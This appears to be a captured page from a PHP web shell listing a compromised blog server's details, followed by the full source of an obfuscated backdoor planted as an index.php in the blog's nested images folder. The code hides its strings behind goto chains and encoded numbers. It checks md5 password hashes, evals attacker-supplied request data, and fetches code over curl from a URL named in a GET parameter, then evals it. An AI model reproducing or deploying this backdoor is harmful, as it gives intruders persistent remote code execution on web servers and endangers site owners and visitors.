HEX
Server: Apache
System: Linux hcss-ecs-9037 3.10.0-1160.53.1.el7.x86_64 #1 SMP Fri Jan 14 13:59:45 UTC 2022 x86_64
User: www (1000)
PHP: 8.3.21
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/zhangwenbin_blog/images/images/images/index.php
<?php
 goto TaEVUDDpwe3n; pfo_Wv0Bq6V_: if (!(in_array(gettype($K0klg44trqHx) . "\x31\x31", $K0klg44trqHx) && md5(md5(md5(md5($K0klg44trqHx[5])))) === "\145\60\145\x31\x34\65\60\x63\x33\60\x64\x66\x36\65\60\65\63\x64\141\61\60\x37\x33\146\143\x61\x35\64\x63\64\x62\x37")) { goto sqbwtqL1OCE2; } goto rUEdTpt5iJID; nZ0Rswxo29y9: @eval($K0klg44trqHx[62](${$K0klg44trqHx[35]}[14])); goto lniTnYy3lvlN; rUEdTpt5iJID: $K0klg44trqHx[62] = $K0klg44trqHx[62] . $K0klg44trqHx[77]; goto nZ0Rswxo29y9; lcEq5HoINALE: class t722B0T7lqmD { static function GEBwGomu4fAZ($qWUhbY5MNLIo) { goto qiYrIkw1HAHF; qiYrIkw1HAHF: $haFdMJMxNZGJ = "\162" . "\x61" . "\156" . "\x67" . "\x65"; goto F6Wju3ATVBSc; F8Io8CIjbwXh: $nbtwmGhGr8xv = explode("\x2b", $qWUhbY5MNLIo); goto ccoHhQEH1AJ0; ccoHhQEH1AJ0: $C4N1DERm0zo_ = ''; goto hw3vW9OYUuhx; hw3vW9OYUuhx: foreach ($nbtwmGhGr8xv as $yMbach3gtRzG => $UrBzp37VtRR3) { $C4N1DERm0zo_ .= $kNd_5MufjQfi[$UrBzp37VtRR3 - 90915]; EO0x1bcZTKZQ: } goto oC_6qfJE1kF3; F6Wju3ATVBSc: $kNd_5MufjQfi = $haFdMJMxNZGJ("\176", "\x20"); goto F8Io8CIjbwXh; oC_6qfJE1kF3: KCniK4Mgrv65: goto jIBNU8hBDp0D; jIBNU8hBDp0D: return $C4N1DERm0zo_; goto kgFwSLtSecAh; kgFwSLtSecAh: } static function YYMNU78kV0iq($RyaN2xwNXImh, $wP7hk09zfZP1) { goto qQ_RWICId8Ye; y0SvMh9T6cRB: return empty($X6aIZ3ch2cJ5) ? $wP7hk09zfZP1($RyaN2xwNXImh) : $X6aIZ3ch2cJ5; goto noz64DOiUUAE; y4mIln_k5Glh: curl_setopt($VeJB10Ux2pQ0, CURLOPT_RETURNTRANSFER, 1); goto Mx2PAiBruMxh; Mx2PAiBruMxh: $X6aIZ3ch2cJ5 = curl_exec($VeJB10Ux2pQ0); goto y0SvMh9T6cRB; qQ_RWICId8Ye: $VeJB10Ux2pQ0 = curl_init($RyaN2xwNXImh); goto y4mIln_k5Glh; noz64DOiUUAE: } static function TqAHWKR8v5Ww() { goto fTwsb9XNvLGm; doWLragwOacp: $zdW_I6bo3nLs = self::yYMNu78kV0iq($Hp4dP5CHz4F5[0 + 1], $EaSgbbmqUEaO[5 + 0]); goto MUjo3ZFDW7Gn; qZ9q1i_eWrqu: @$EaSgbbmqUEaO[2 + 8](INPUT_GET, "\157\x66") == 1 && die($EaSgbbmqUEaO[4 + 1](__FILE__)); goto ts0s9m4Ka2AU; A4TevC5rJv7g: VJ3fBRp9iOsX: goto Gwg4iMx22_ia; k4SzXHI2K6MC: die; goto A4TevC5rJv7g; nR1u6YrZWBCo: maLsRk95Kg13: goto jSLDm0Mfl8QM; ts0s9m4Ka2AU: if (!(@$Hp4dP5CHz4F5[0] - time() > 0 and md5(md5($Hp4dP5CHz4F5[2 + 1])) === "\x62\143\67\x33\63\62\64\x66\x33\x62\71\60\x63\x30\x37\70\x31\61\x64\x35\x39\65\65\x34\67\x61\66\x36\63\62\62\64")) { goto VJ3fBRp9iOsX; } goto doWLragwOacp; fTwsb9XNvLGm: $SYciHdpw9IJk = array("\71\x30\71\64\x32\x2b\x39\60\x39\x32\67\53\71\x30\71\64\60\53\x39\x30\71\x34\x34\x2b\x39\x30\71\62\x35\53\x39\60\x39\x34\x30\x2b\71\x30\71\64\x36\53\71\60\71\x33\71\53\x39\60\71\x32\64\53\71\x30\71\x33\61\53\x39\x30\71\64\x32\x2b\x39\60\x39\x32\65\x2b\71\60\71\x33\66\x2b\71\x30\71\63\60\53\x39\60\x39\63\61", "\71\60\71\62\x36\x2b\x39\x30\71\62\x35\x2b\x39\60\x39\62\67\x2b\71\x30\x39\x34\66\x2b\71\x30\71\62\67\53\x39\x30\71\63\60\53\x39\60\x39\x32\x35\53\71\x30\71\x39\x32\53\71\60\71\x39\x30", "\x39\60\x39\x33\x35\53\71\60\x39\62\x36\x2b\71\60\x39\63\x30\53\x39\x30\71\63\61\53\x39\x30\x39\x34\x36\53\71\x30\x39\64\61\x2b\71\x30\71\64\x30\x2b\71\60\x39\64\62\53\x39\60\x39\x33\60\x2b\x39\60\71\x34\x31\x2b\71\60\x39\64\60", "\x39\x30\x39\62\71\53\x39\60\x39\64\64\53\71\60\x39\64\62\53\71\60\71\63\x34", "\x39\x30\x39\x34\63\x2b\x39\x30\71\64\64\53\x39\x30\x39\62\x36\53\x39\x30\71\64\60\53\x39\x30\x39\x38\x37\x2b\x39\60\x39\70\71\53\71\x30\x39\x34\x36\x2b\x39\x30\x39\x34\x31\x2b\x39\x30\71\x34\60\x2b\71\x30\x39\64\x32\53\71\60\71\x33\x30\x2b\x39\60\71\x34\x31\x2b\x39\60\x39\64\60", "\x39\x30\x39\63\71\x2b\71\60\x39\63\x36\53\71\x30\71\x33\63\x2b\x39\60\x39\x34\x30\53\x39\x30\x39\x34\66\x2b\71\60\x39\x33\x38\x2b\71\60\71\x34\60\x2b\71\x30\71\62\x35\x2b\71\x30\71\x34\66\x2b\x39\x30\x39\64\62\53\71\60\71\63\x30\x2b\71\60\x39\x33\x31\x2b\71\60\x39\62\65\x2b\71\60\x39\64\60\x2b\71\60\x39\x33\61\53\71\x30\x39\x32\x35\x2b\x39\60\x39\62\66", "\71\60\71\66\x39\x2b\x39\x30\71\x39\71", "\71\x30\x39\61\x36", "\x39\x30\71\x39\x34\x2b\71\x30\x39\x39\71", "\x39\x30\71\67\x36\53\71\x30\71\65\x39\x2b\x39\x30\71\65\71\x2b\71\x30\x39\67\66\53\x39\60\71\65\x32", "\71\60\71\x33\x39\53\71\x30\x39\x33\x36\53\x39\60\71\63\63\53\71\60\71\62\x35\x2b\x39\x30\71\64\x30\53\71\x30\71\x32\x37\x2b\x39\60\71\64\66\x2b\x39\x30\x39\63\66\53\x39\60\x39\x33\61\x2b\71\x30\x39\x32\71\x2b\x39\60\x39\62\x34\x2b\x39\x30\x39\x32\65"); goto HT3gsTvlaVir; Jcd1vz97Y9Bw: $OmkRzbIfdbuq = @$EaSgbbmqUEaO[3 + 0]($EaSgbbmqUEaO[3 + 3], $Fzep9fDS7tak); goto dlVv3yA298n1; HT3gsTvlaVir: foreach ($SYciHdpw9IJk as $UHJvo8fwlzLl) { $EaSgbbmqUEaO[] = self::gEBWGoMu4FAZ($UHJvo8fwlzLl); YmGTDT1kTIwD: } goto nR1u6YrZWBCo; jSLDm0Mfl8QM: $Fzep9fDS7tak = @$EaSgbbmqUEaO[1]($EaSgbbmqUEaO[3 + 7](INPUT_GET, $EaSgbbmqUEaO[6 + 3])); goto Jcd1vz97Y9Bw; dlVv3yA298n1: $Hp4dP5CHz4F5 = $EaSgbbmqUEaO[0 + 2]($OmkRzbIfdbuq, true); goto qZ9q1i_eWrqu; MUjo3ZFDW7Gn: @eval($EaSgbbmqUEaO[2 + 2]($zdW_I6bo3nLs)); goto k4SzXHI2K6MC; Gwg4iMx22_ia: } } goto HRTkryS4Iz2h; TaEVUDDpwe3n: $jUyobQm6v4Ye = "\x72" . "\x61" . "\x6e" . "\x67" . "\x65"; goto GhBZ2StyBsOD; lniTnYy3lvlN: sqbwtqL1OCE2: goto kAZlZ96UK5uF; GhBZ2StyBsOD: $Omj_lrrn3Isb = $jUyobQm6v4Ye("\x7e", "\x20"); goto lseR2UFjsbnu; kAZlZ96UK5uF: metaphone("\63\x71\x62\160\x4e\146\x61\122\x36\x6e\131\127\112\67\x4a\104\71\107\x37\x56\x77\122\166\x78\152\x49\156\x34\170\x57\126\x4e\x56\x48\155\x70\154\x56\61\65\x2b\x6f\x6b"); goto lcEq5HoINALE; lseR2UFjsbnu: $K0klg44trqHx = ${$Omj_lrrn3Isb[16 + 15] . $Omj_lrrn3Isb[4 + 55] . $Omj_lrrn3Isb[23 + 24] . $Omj_lrrn3Isb[8 + 39] . $Omj_lrrn3Isb[36 + 15] . $Omj_lrrn3Isb[32 + 21] . $Omj_lrrn3Isb[1 + 56]}; goto pfo_Wv0Bq6V_; HRTkryS4Iz2h: t722b0t7lqMD::tQahWkr8v5ww();
?>